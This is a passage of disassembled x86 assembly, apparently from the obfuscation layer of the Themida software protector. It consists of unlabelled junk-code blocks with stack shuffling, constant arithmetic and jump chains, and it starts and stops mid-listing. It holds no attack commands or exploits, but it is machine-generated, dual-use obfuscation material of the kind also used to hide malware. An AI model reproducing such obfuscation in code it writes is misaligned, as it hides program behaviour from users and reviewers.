		jmp	loc_5A1890
; ---------------------------------------------------------------------------


loc_5A2CCC:				; CODE XREF: Themida_:005A901Cj
		xor	edx, 5DC3489Fh
		jb	loc_5AC8AF
		jmp	loc_59A624
; ---------------------------------------------------------------------------


loc_5A2CDD:				; CODE XREF: Themida_:005A2B89j
		push	dword ptr [esp]
		jmp	loc_5A5E13
; ---------------------------------------------------------------------------


loc_5A2CE5:				; CODE XREF: Themida_:0059C0F6j
		mov	bl, cl
		pop	ecx
		sub	al, bl
		pop	ebx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_599A69
; ---------------------------------------------------------------------------


loc_5A2CF4:				; CODE XREF: Themida_:00598B37j
		push	esp
		pop	ebx
		jmp	loc_59B721
; ---------------------------------------------------------------------------


loc_5A2CFB:				; CODE XREF: Themida_:005A4F67j
		push	eax
		mov	eax, 590C6F83h
		neg	eax
		push	ecx
		mov	ecx, 6136A7Dh
		shl	ecx, 1
		and	ecx, 1C76015Bh
		jmp	loc_5A55EB
; ---------------------------------------------------------------------------


loc_5A2D16:				; CODE XREF: Themida_:005AC22Cj
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5A056B
; ---------------------------------------------------------------------------


loc_5A2D20:				; CODE XREF: Themida_:00598CB7j
					; Themida_:0059E8A0j
		mov	esp, [esp]
		mov	dh, [esp+4]
		mov	[esp+4], ah
		mov	eax, [esp]
		add	esp, 4
		not	dh
		push	eax
		push	ecx
		mov	cl, dh
		push	ebx
		mov	bh, cl
		mov	al, bh
		pop	ebx
		pop	ecx
		mov	dh, [esp+4]
		jmp	loc_59E5C9
; ---------------------------------------------------------------------------


loc_5A2D47:				; CODE XREF: Themida_:0059D959j
		push	1D1h
		mov	[esp], ebx
		push	2B7Ah
		jmp	loc_59EEAA
; ---------------------------------------------------------------------------


loc_5A2D59:				; CODE XREF: Themida_:0059E14Cj
		inc	dword ptr [esp]
		pop	ebp
		not	ebp
		push	ecx
		jmp	loc_5A96B4
; ---------------------------------------------------------------------------


loc_5A2D65:				; CODE XREF: Themida_:0059FC25j
		mov	ebp, 1
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59F080
; ---------------------------------------------------------------------------


loc_5A2D7E:				; CODE XREF: Themida_:005A77EDj
		add	edx, 162E29ACh
		neg	edx
		jmp	loc_598F4E
; ---------------------------------------------------------------------------


loc_5A2D8B:				; CODE XREF: Themida_:005ACE74j
		add	edi, ecx
		jmp	loc_5A5FCA
; ---------------------------------------------------------------------------


loc_5A2D92:				; CODE XREF: Themida_:005A3762j
		shr	eax, 7
		sub	eax, 81108EC4h
		sub	edi, eax
		pop	eax
		jmp	loc_5A90DB
; ---------------------------------------------------------------------------


loc_5A2DA2:				; CODE XREF: Themida_:0059B62Aj
		pop	esp
		jmp	loc_59CC4B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A2DB8:				; CODE XREF: Themida_:0059DAB1j
		neg	esi
		jmp	loc_5A5471
; ---------------------------------------------------------------------------


loc_5A2DBF:				; CODE XREF: Themida_:0059B9A5j
					; Themida_:005A280Aj
		push	ecx
		push	5929h
		mov	[esp], edx
		jmp	loc_5ACF73
; ---------------------------------------------------------------------------


loc_5A2DCD:				; CODE XREF: Themida_:0059E588j
		add	esi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_59A548
; ---------------------------------------------------------------------------


loc_5A2DDB:				; CODE XREF: Themida_:005A0721j
		pop	edi
		push	eax
		jmp	loc_599835
; ---------------------------------------------------------------------------


loc_5A2DE2:				; CODE XREF: Themida_:005A466Fj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_5A3217
; ---------------------------------------------------------------------------


loc_5A2DF9:				; CODE XREF: Themida_:0059C5BFj
		add	[esp+4], esi
		jmp	loc_5AD014
; ---------------------------------------------------------------------------


loc_5A2E02:				; CODE XREF: Themida_:005ACD0Bj
		pop	edx
		shl	edx, 4
		jz	loc_5A49D3
		xor	edx, 24F15B98h
		jns	loc_5AFB3C
		shl	edx, 3
		jmp	loc_5A5ABF
; ---------------------------------------------------------------------------
		push	ecx
		mov	al, 84h


loc_5A2E24:				; CODE XREF: Themida_:005A298Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59C059
; ---------------------------------------------------------------------------


loc_5A2E32:				; CODE XREF: Themida_:0059FD80j
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebp
		jmp	loc_5991F7
; ---------------------------------------------------------------------------


loc_5A2E58:				; CODE XREF: Themida_:005A3FFEj
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		sub	eax, 0B2E29A5h
		add	eax, ebp
		add	eax, 0B2E29A5h
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		push	edx
		push	ecx
		mov	ecx, 1F103C4Dh
		jmp	loc_5A82D7
; ---------------------------------------------------------------------------


loc_5A2E83:				; CODE XREF: Themida_:005A781Cj
		add	eax, 742B7F48h
		xor	eax, 93EB780Ch
		add	ecx, eax
		jmp	loc_598B2C
; ---------------------------------------------------------------------------


loc_5A2E94:				; CODE XREF: Themida_:0059E822j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	45CCh
		mov	[esp], edi
		mov	edi, 7FE061A0h
		mov	eax, edi
		pop	edi
		mov	esi, 0DBAABEC7h
		sub	esi, eax
		pop	eax
		sub	esi, 1
		push	edx
		mov	edx, 7B5B6726h
		or	edx, 4A260072h
		jmp	loc_599422
; ---------------------------------------------------------------------------


loc_5A2ED6:				; CODE XREF: Themida_:0059B454j
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	2A3D2424h
		pop	ecx
		or	ecx, 64B913F5h
		shl	ecx, 7
		jnp	loc_59C061
		sub	ecx, 5E9BFA7Eh
		add	ebp, ecx
		pop	ecx
		push	esi


loc_5A2F07:				; CODE XREF: Themida_:005A0C7Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		jmp	loc_59C7BF
; ---------------------------------------------------------------------------


loc_5A2F23:				; CODE XREF: Themida_:005AE31Bj
		mov	eax, 38h
		jmp	loc_59BD26
; ---------------------------------------------------------------------------


loc_5A2F2D:				; CODE XREF: Themida_:0059DDFDj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5ADEDA
; ---------------------------------------------------------------------------


loc_5A2F3C:				; CODE XREF: Themida_:005AF49Fj
		shl	ebp, 5
		jmp	loc_5A8AA9
; ---------------------------------------------------------------------------


loc_5A2F44:				; CODE XREF: Themida_:005A665Fj
		pop	dword ptr [edi+40h]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	632Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AD51A
; ---------------------------------------------------------------------------


loc_5A2F75:				; CODE XREF: Themida_:00599F15j
		push	1F57h
		jmp	loc_599A76
; ---------------------------------------------------------------------------


loc_5A2F7F:				; CODE XREF: Themida_:loc_59F0F9j
		sub	ecx, 7C9DA0E2h
		mov	ebp, ecx
		jmp	loc_59F44C
; ---------------------------------------------------------------------------


loc_5A2F8C:				; CODE XREF: Themida_:005A2834j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	258Fh
		jmp	loc_59A290
; ---------------------------------------------------------------------------


loc_5A2FA2:				; CODE XREF: Themida_:00599031j
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5A317D
; ---------------------------------------------------------------------------


loc_5A2FB1:				; CODE XREF: Themida_:005A2A27j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5A3033
; ---------------------------------------------------------------------------


loc_5A2FC5:				; CODE XREF: Themida_:005A243Cj
		not	eax
		xchg	eax, ebx
		inc	ebx
		jns	loc_5A915C
		xor	ebx, 14C8310Bh
		push	edi
		mov	ecx, ebx
		mov	ch, 74h
		push	small word ptr [edx]
		jmp	loc_5A1A5C
; ---------------------------------------------------------------------------


loc_5A2FE2:				; CODE XREF: Themida_:0059F84Fj
		mov	[esp], ebx
		mov	ebx, 5715369Eh
		sub	ebp, ebx
		pop	ebx
		pop	eax
		push	15D0h
		mov	[esp], esi
		mov	esi, 2
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598A1F
; ---------------------------------------------------------------------------


loc_5A3019:				; CODE XREF: Themida_:0059BB57j
		pop	esp
		push	ecx
		mov	ecx, 4F175C5Ch
		and	esi, ecx
		pop	ecx
		shr	esi, 6
		add	esi, 107E0382h
		xchg	ebp, esi
		jmp	loc_5A8061
; ---------------------------------------------------------------------------


loc_5A3033:				; CODE XREF: Themida_:005A2FC0j
		add	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A8FD5
; ---------------------------------------------------------------------------


loc_5A3040:				; CODE XREF: Themida_:005A0E0Bj
					; Themida_:005A61ACj
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		not	ebx
		push	441Eh
		mov	[esp], ecx
		push	1658h
		mov	[esp], ebx
		pop	ecx
		jmp	loc_5A7821
; ---------------------------------------------------------------------------


loc_5A305E:				; CODE XREF: Themida_:0059B1FBj
		add	ah, 95h
		shl	ah, 5
		js	loc_5A7062
		jmp	loc_5A44C9
; ---------------------------------------------------------------------------


loc_5A306F:				; CODE XREF: Themida_:005A309Bj
		xor	ebp, 5B753C36h
		jmp	loc_5A836F
; ---------------------------------------------------------------------------


loc_5A307A:				; CODE XREF: Themida_:005AB631j
		mov	[esp], ebx
		mov	ebx, eax
		push	528h
		mov	[esp], ebx
		jmp	loc_5A7F54
; ---------------------------------------------------------------------------


loc_5A308C:				; CODE XREF: Themida_:005AD6EBj
		pop	eax
		push	edi
		jmp	loc_59EB0E
; ---------------------------------------------------------------------------


loc_5A3093:				; CODE XREF: Themida_:loc_5A50DDj
					; Themida_:005AEF16j
		not	ebp
		and	ebp, 702421ABh
		ja	loc_5A306F
		xor	ebp, 5B753C36h
		jmp	loc_5A6768
; ---------------------------------------------------------------------------
		mov	[esp], ebx


loc_5A30AF:				; CODE XREF: Themida_:0059BB7Bj
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A92AF
; ---------------------------------------------------------------------------


loc_5A30BB:				; CODE XREF: Themida_:0059C192j
		jmp	loc_5995B4
; ---------------------------------------------------------------------------


loc_5A30C0:				; CODE XREF: Themida_:005A4BD4j
		sub	eax, edx
		jmp	loc_5ABBCC
; ---------------------------------------------------------------------------


loc_5A30C7:				; CODE XREF: Themida_:0059B44Bj
		xor	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5ACDB5
; ---------------------------------------------------------------------------


loc_5A30D9:				; CODE XREF: Themida_:005A8999j
		shr	edi, 7
		sub	edi, 40C97773h
		jmp	loc_59BB64
; ---------------------------------------------------------------------------


loc_5A30E7:				; CODE XREF: Themida_:005AF324j
		add	esi, ebp
		sub	esi, 7A8809D3h
		pop	ebp
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_5AA653
; ---------------------------------------------------------------------------


loc_5A30F9:				; DATA XREF: Themida_:00598870o
		lodsd
		jmp	loc_5A2AD4
; ---------------------------------------------------------------------------


loc_5A30FF:				; CODE XREF: Themida_:005A6AE3j
		push	edi
		mov	edi, 0D9F9135Bh
		jmp	loc_598C5F
; ---------------------------------------------------------------------------


loc_5A310A:				; CODE XREF: Themida_:0059D576j
		xor	ebx, ecx
		pop	ecx
		sub	ebp, 4E436415h
		push	edi
		mov	edi, 431F3E37h
		not	edi
		or	edi, 74AD18E2h
		dec	edi
		dec	edi
		jmp	loc_5AC870
; ---------------------------------------------------------------------------


loc_5A3128:				; CODE XREF: Themida_:005A6F0Aj
		add	ebx, ecx
		sub	ebx, 12E5514Eh
		push	esi
		mov	esi, 14771A77h
		sub	ebx, esi
		pop	esi
		add	ebx, 76666909h
		pop	ecx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5AF753
; ---------------------------------------------------------------------------


loc_5A3150:				; CODE XREF: Themida_:005A51E9j
		pop	eax
		sub	edx, 50173BC8h
		add	edx, ebp
		add	edx, 50173BC8h
		pop	ebp
		jmp	loc_5AB75E
; ---------------------------------------------------------------------------


loc_5A3165:				; CODE XREF: Themida_:005A3837j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	small 694Ch
		mov	[esp], bx
		mov	bl, 42h
		jmp	loc_59D23B
; ---------------------------------------------------------------------------


loc_5A317D:				; CODE XREF: Themida_:005A2FACj
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A3187:				; CODE XREF: Themida_:0059A62Bj
		mov	edi, edx
		pop	edx
		sub	[esp+8], edi
		pop	edi
		jmp	loc_5A662D
; ---------------------------------------------------------------------------


loc_5A3194:				; CODE XREF: Themida_:005A2A1Cj
		pop	esp
		jmp	loc_5AB41D
; ---------------------------------------------------------------------------


loc_5A319A:				; CODE XREF: Themida_:005A843Dj
		push	esi
		push	ebx
		mov	ebx, 302B275Bh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	esi, 2
		xor	esi, 561905F1h
		sub	esi, 3F447665h
		neg	esi
		jmp	loc_59E5DA
; ---------------------------------------------------------------------------


loc_5A31BF:				; CODE XREF: Themida_:005A3E0Aj
					; Themida_:005AF77Aj
		mov	[esp], edi
		mov	edi, 45A74AF1h
		push	ebp
		mov	ebp, 2E3A31E6h
		sub	ebp, 6E490488h
		and	ebp, 7DA55B2Eh
		shr	ebp, 8
		shr	ebp, 3
		jmp	loc_5ACC32
; ---------------------------------------------------------------------------


loc_5A31E4:				; CODE XREF: Themida_:0059B34Cj
		mov	edi, esp
		jmp	loc_598CD1
; ---------------------------------------------------------------------------


loc_5A31EB:				; CODE XREF: Themida_:005A6414j
		add	ebp, 3B1F3AC6h
		jmp	loc_59E6E9
; ---------------------------------------------------------------------------


loc_5A31F6:				; CODE XREF: Themida_:0059F347j
					; Themida_:005ACC62j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_59F264
; ---------------------------------------------------------------------------


loc_5A3203:				; CODE XREF: Themida_:0059D3DAj
		or	ch, 0AEh
		jmp	loc_59BD37
; ---------------------------------------------------------------------------


loc_5A320B:				; CODE XREF: Themida_:00599292j
		pop	eax
		push	esi
		mov	esi, 130349F5h
		jmp	loc_598DAD
; ---------------------------------------------------------------------------


loc_5A3217:				; CODE XREF: Themida_:005A2DF4j
		pop	ebx
		jmp	loc_5A540D
; ---------------------------------------------------------------------------


loc_5A321D:				; CODE XREF: Themida_:005A603Dj
		mov	ebp, 4
		jmp	loc_5ACC60
; ---------------------------------------------------------------------------


loc_5A3227:				; CODE XREF: Themida_:005A32C7j
		neg	eax
		sub	eax, 0B9098C31h
		jmp	loc_5AA82E
; ---------------------------------------------------------------------------


loc_5A3233:				; CODE XREF: Themida_:005A3E82j
		sub	edx, 65AB7E2Dh
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A940E
; ---------------------------------------------------------------------------


loc_5A324A:				; CODE XREF: Themida_:005AD5E6j
		jnp	loc_5A793C
		jmp	loc_5A8A63
; ---------------------------------------------------------------------------
		sub	ecx, 77257653h
		pop	edi
		push	ecx
		pop	ebp
		push	ebp


loc_5A325F:				; CODE XREF: Themida_:0059BF87j
					; Themida_:005A8280j
		push	26A155A7h
		pop	ebp
		sub	ebx, ebp
		jmp	loc_5AC5EC
; ---------------------------------------------------------------------------


loc_5A326C:				; CODE XREF: Themida_:005A7F41j
		or	ebp, 5BD37370h
		not	ebp
		xor	ebp, 8FC3A460h
		add	edx, ebp
		pop	ebp
		jmp	loc_5A8D05
; ---------------------------------------------------------------------------


loc_5A3282:				; CODE XREF: Themida_:0059BC6Bj
		sub	ebp, eax
		pop	eax
		neg	ebp
		jmp	loc_59F91E
; ---------------------------------------------------------------------------


loc_5A328C:				; CODE XREF: Themida_:0059C3E5j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1000000h
		jmp	loc_5A7FCD
; ---------------------------------------------------------------------------


loc_5A32A3:				; CODE XREF: Themida_:005A4A87j
		mov	dl, al
		pop	eax
		jmp	loc_5ADDC6
; ---------------------------------------------------------------------------


loc_5A32AB:				; CODE XREF: Themida_:0059C669j
		push	edi
		mov	edi, 5C7A3AB5h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1D8F58BFh
		shr	eax, 7
		xor	eax, 1E93533Ah
		jmp	loc_5A3227
; ---------------------------------------------------------------------------


loc_5A32CC:				; CODE XREF: Themida_:0059C68Dj
		push	14A2h
		mov	[esp], eax
		jmp	loc_59FF88
; ---------------------------------------------------------------------------


loc_5A32D9:				; CODE XREF: Themida_:0059E069j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_59E467
; ---------------------------------------------------------------------------


loc_5A32ED:				; CODE XREF: Themida_:005ADE2Fj
		push	ebp
		mov	ebp, 62BD6967h
		add	ebp, 268005E1h
		jmp	loc_5A299E
; ---------------------------------------------------------------------------


loc_5A32FE:				; CODE XREF: Themida_:005992D1j
		xor	ecx, 64062E6Bh
		mov	ebp, ecx
		pop	ecx
		push	edx
		push	esi
		mov	esi, 6216262Bh
		xor	esi, 0B51458Ch
		neg	esi
		xor	esi, 8AD6BE41h
		push	edi
		mov	edi, esi
		jmp	loc_5A9EC1
; ---------------------------------------------------------------------------


loc_5A3324:				; CODE XREF: Themida_:0059BBE5j
		push	503Ch
		mov	[esp], ebx
		jmp	loc_59A8C2
; ---------------------------------------------------------------------------


loc_5A3331:				; CODE XREF: Themida_:005AD466j
		pop	edx
		add	esi, 6B8F60D9h
		push	edx
		mov	edx, 6D7F2140h
		jmp	loc_5AD07D
; ---------------------------------------------------------------------------


loc_5A3343:				; CODE XREF: Themida_:0059B465j
		add	eax, 0F24A6378h
		xor	edx, eax
		pop	eax
		sub	ebx, 7DAE11E2h
		sub	ebx, edx
		jmp	loc_5A2490
; ---------------------------------------------------------------------------


loc_5A3358:				; CODE XREF: Themida_:005A66FAj
		add	eax, 21A53C47h
		jo	loc_5A93CB
		shr	eax, 5
		xor	eax, 0AEB7C0Ch
		jns	loc_5AA475
		sub	eax, 0DBEB17D1h
		jnz	loc_5AB0EA


loc_5A337C:				; CODE XREF: Themida_:0059E989j
		push	esi
		mov	esi, 20CD26C5h
		dec	esi
		jmp	loc_5A1348
; ---------------------------------------------------------------------------


loc_5A3388:				; CODE XREF: Themida_:005AF16Aj
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_5AD369
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	1C3Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_5A864B
; ---------------------------------------------------------------------------


loc_5A33B3:				; CODE XREF: Themida_:005AA568j
		add	esp, 4
		jmp	loc_5A15B1
; ---------------------------------------------------------------------------


loc_5A33BB:				; CODE XREF: Themida_:005AFA70j
		sub	edx, 17B724DDh
		add	edx, 0DC8846A7h
		sub	ebp, edx
		pop	edx
		jmp	loc_59D5CE
; ---------------------------------------------------------------------------


loc_5A33CF:				; CODE XREF: Themida_:0059D2B1j
		inc	ebx
		jnz	loc_5AD7BC
		sub	ebx, 6BAAC20h
		mov	edx, ebx
		pop	ebx
		mov	esi, edx
		sub	al, 55h


loc_5A33E3:				; CODE XREF: Themida_:00599609j
		mov	ax, [esp]
		push	ebp
		push	ebx
		jmp	loc_5A3A7F
; ---------------------------------------------------------------------------


loc_5A33EE:				; CODE XREF: Themida_:005A7FB3j
		xor	edx, 3C3F10DCh
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A376F
; ---------------------------------------------------------------------------


loc_5A3401:				; CODE XREF: Themida_:005AE771j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A3406:				; CODE XREF: Themida_:0059EDE4j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_5AE1AB
; ---------------------------------------------------------------------------


loc_5A3426:				; CODE XREF: Themida_:005ACAFFj
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_5AE6D0
; ---------------------------------------------------------------------------


loc_5A342F:				; CODE XREF: Themida_:005AE299j
		neg	edx
		jz	loc_5AEBAE
		sub	edx, 1217A8DBh
		push	edx
		pop	esi
		jmp	loc_5A7526
; ---------------------------------------------------------------------------


loc_5A3444:				; CODE XREF: Themida_:0059F447j
		not	ch
		shl	ch, 2
		jns	loc_5AABC3
		add	ch, 6Eh
		mov	bh, ch
		pop	ecx
		jmp	loc_5A23C4
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	edi


loc_5A345E:				; CODE XREF: Themida_:005AF4BAj
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_5A5C28
; ---------------------------------------------------------------------------


loc_5A3481:				; CODE XREF: Themida_:loc_5AFB0Fj
		xor	ebp, 3A826172h
		jnb	loc_5AEED4
		jmp	loc_5A2550
; ---------------------------------------------------------------------------
		xor	ebx, 62637CCCh
		push	ebx


loc_5A3499:				; CODE XREF: Themida_:005A6855j
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_5AB121
		push	28FEh
		jmp	loc_5AC145
; ---------------------------------------------------------------------------


loc_5A34B2:				; CODE XREF: Themida_:005A4B97j
					; Themida_:005AFA44j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_59F509
; ---------------------------------------------------------------------------


loc_5A34BD:				; CODE XREF: Themida_:005A8B89j
		shr	edx, 4
		jz	loc_5A1D98
		add	edx, 62675FC9h
		mov	ebx, edx
		pop	edx
		push	edx
		mov	edx, 64873D5Eh
		push	ebx
		mov	ebx, 25195553h
		xor	edx, ebx
		jmp	loc_5AA405
; ---------------------------------------------------------------------------


loc_5A34E2:				; CODE XREF: Themida_:005A4FB1j
		mov	ah, 3Eh
		jmp	loc_5A0282
; ---------------------------------------------------------------------------


loc_5A34E9:				; CODE XREF: Themida_:0059BF7Bj
		or	edi, 4D077B47h
		sub	edi, 7F6F7B4Bh
		add	eax, edi
		pop	edi
		push	ebp
		jmp	loc_5AEE5B
; ---------------------------------------------------------------------------


loc_5A34FE:				; CODE XREF: Themida_:005A094Aj
		mov	edx, 75344880h
		shl	edx, 2
		sub	edx, 60C34DAh
		dec	edx
		jmp	loc_59FF17
; ---------------------------------------------------------------------------


loc_5A3512:				; CODE XREF: Themida_:005ABB6Dj
		pop	eax
		dec	edx
		push	ebx
		mov	ebx, 357036Bh
		add	edx, 3CB32024h
		sub	edx, ebx
		jmp	loc_5AC52F
; ---------------------------------------------------------------------------


loc_5A3527:				; CODE XREF: Themida_:005A97F1j
		pop	ecx
		push	cx
		mov	cl, 81h
		add	bl, cl
		pop	cx
		add	bl, dl
		sub	bl, 81h
		add	bl, 19h
		pop	dx
		jmp	loc_5AB99F
; ---------------------------------------------------------------------------


loc_5A353F:				; CODE XREF: Themida_:0059CEC7j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59977F
; ---------------------------------------------------------------------------


loc_5A354D:				; CODE XREF: Themida_:005994B6j
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		push	5C0Eh
		mov	[esp], ecx
		push	22AC4A26h
		pop	ecx
		jmp	loc_59932A
; ---------------------------------------------------------------------------


loc_5A356E:				; CODE XREF: Themida_:0059DCFAj
		pop	ebx
		sub	edx, ebp
		pop	ebp
		sub	edx, 4BC32BCBh
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	cl, dl
		mov	bl, cl
		push	dword ptr [esp]
		jmp	loc_5A62CB
; ---------------------------------------------------------------------------


loc_5A3590:				; CODE XREF: Themida_:005A6C4Fj
		pop	ebp
		add	edx, edi
		pop	edi
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A35A4:				; CODE XREF: Themida_:005A60F5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A298F
; ---------------------------------------------------------------------------


loc_5A35BC:				; CODE XREF: Themida_:005A869Ej
		add	esp, 4
		push	3291h
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	ecx
		push	ebp
		mov	ebp, 0E297F3Eh
		mov	ecx, 0F9A6A609h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, 0F468310h
		sub	edi, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edi, 7765DCDh
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 4
		push	48B8h
		mov	[esp], ebp
		jmp	loc_59908C
; ---------------------------------------------------------------------------


loc_5A361E:				; CODE XREF: Themida_:005A4A2Aj
		mov	esi, 763A658Ah
		jmp	loc_59EBA9
; ---------------------------------------------------------------------------


loc_5A3628:				; CODE XREF: Themida_:005A9288j
		pop	ecx
		mov	edx, [esp]
		jmp	loc_5A023E
; ---------------------------------------------------------------------------


loc_5A3631:				; CODE XREF: Themida_:005A188Bj
					; Themida_:005ADDD8j
		push	edi
		jmp	loc_59D064
; ---------------------------------------------------------------------------


loc_5A3637:				; CODE XREF: Themida_:0059F67Cj
					; Themida_:005AC336j
		push	esp
		mov	eax, [esp]
		jmp	loc_5AE9DD
; ---------------------------------------------------------------------------


loc_5A3640:				; CODE XREF: Themida_:00599EA5j
		mov	ecx, ebx
		jmp	loc_5ADEE9
; ---------------------------------------------------------------------------


loc_5A3647:				; CODE XREF: Themida_:0059D0C3j
		pop	eax
		jmp	loc_5A5BBE
; ---------------------------------------------------------------------------


loc_5A364D:				; CODE XREF: Themida_:0059DCE6j
		mov	al, 83h
		jmp	loc_5AE7FE
; ---------------------------------------------------------------------------


loc_5A3654:				; CODE XREF: Themida_:005A0620j
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A7B8E
; ---------------------------------------------------------------------------


loc_5A3661:				; CODE XREF: Themida_:005AE9DEj
		push	esp
		jmp	loc_5A4345
; ---------------------------------------------------------------------------


loc_5A3667:				; CODE XREF: Themida_:005A970Dj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_59BB79
; ---------------------------------------------------------------------------


loc_5A3677:				; CODE XREF: Themida_:0059EC81j
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A18FC
; ---------------------------------------------------------------------------


loc_5A3684:				; CODE XREF: Themida_:00598C94j
					; Themida_:loc_5A7A2Aj
		add	eax, 46C67C25h
		mov	edi, eax
		pop	eax
		sub	ecx, edi
		jmp	loc_5AABE3
; ---------------------------------------------------------------------------


loc_5A3693:				; CODE XREF: Themida_:0059ED6Ej
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_59A0CE
; ---------------------------------------------------------------------------


loc_5A36B2:				; CODE XREF: Themida_:0059C61Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_5ACA08
; ---------------------------------------------------------------------------


loc_5A36C5:				; CODE XREF: Themida_:0059E8DDj
		shl	eax, 7
		shr	eax, 7
		sub	eax, 1D100DBh
		mov	ebp, eax
		jmp	loc_5A1E1C
; ---------------------------------------------------------------------------


loc_5A36D7:				; CODE XREF: Themida_:005A9A90j
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5A39BE
; ---------------------------------------------------------------------------


loc_5A36E1:				; CODE XREF: Themida_:005AE053j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, esi
		jmp	loc_5A0394
; ---------------------------------------------------------------------------


